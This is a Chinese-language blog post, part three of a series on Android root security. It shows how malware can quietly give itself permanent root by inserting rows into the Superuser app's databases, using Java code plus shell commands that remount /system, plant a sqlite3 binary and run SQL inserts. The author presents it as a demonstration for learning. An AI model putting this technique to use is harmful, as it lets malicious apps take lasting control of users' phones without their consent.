android手機root後的安全問題 (三)

首先,我們打開re管理器,這時候re管理器請求使用root權限,superuser會彈出提示,詢問用戶是否允許
我們點擊允許之前,勾選“記住”,然後允許。
這一步是為瞭獲取:應用獲得永久root權限時,應該在superuser數據庫插入什麼樣的數據。

然後我們將數據庫導出
/data/data/com.noshufou.android.su/databases下面有兩個數據庫我們需要關註
su.db
permissions.sqlite
我們以permissions.sqlite為例,下圖為表結構:


然後來看看病毒應該如何修改數據

病毒隻需要關心幾個字段
uid,包名,應用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何獲得自己的包名和應用名,這個大傢沒什麼疑問吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代碼可以獲得當前應用的uid

[java] 
public static int getUid(Context context,String packageName){ 
    ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); 
    List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses(); 
    int size = runningAppProcesses.size(); 
    ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null; 
    for (int i = 0; i < size; i++) { 
        runningAppProcessInfo = runningAppProcesses.get(i); 
        if(packageName.equals(runningAppProcessInfo.processName)){ 
            return runningAppProcessInfo.uid; 
        } 
    } 
    return -1; 

好瞭,這個表已經搞定瞭,su.db和這個幾乎一樣,也就不再演示瞭。

最後的問題是,如何修改手機中的數據庫,顯然,我們使用sqlite3,但是有的手機居然沒有這個問題,所以病毒很可能自己捆綁瞭一個,然後復制到system/bin或者system/xbin中
sqlite3從哪來?哪都有。。比如你可以從模擬器pull出來一份。

好瞭,全部搞定瞭
最終我們分兩步
1準備sqlite3這個文件,以防萬一

[java] 
prepareButton.setOnClickListener(new View.OnClickListener() { 
    public void onClick(View v) { 
        File dataFolder = getFilesDir(); 
    File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3"); 
    copyFile("db/sqlite3", sqlite, mResources); 
    } 
}); 

2申請root權限,一旦成功,那就修改數據庫

[java] 
String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" + 
                            "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) "; 
String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " + 
                                                    "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") "; 
 
String[] commands = {"busybox mount -o remount,rw /system" 
                            ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3" 
                    ,"busybox rm /data/data/" + packageName + "/files/sqlite3" 
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'" 
                    ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "}; 
執行即可

從此,病毒就脫離你的掌控瞭,一發不可收拾

結語
由於本博客隻是用於演示,所以有些不嚴密的地方。
比如:首次使用superuser之前,它的數據庫的表可能還沒有創建,所以有些sql操作可能會失敗
我也不打算寫個完整的病毒,這樣一些人就會想著幹一些不幹凈的事情。僅供學習交流

發佈留言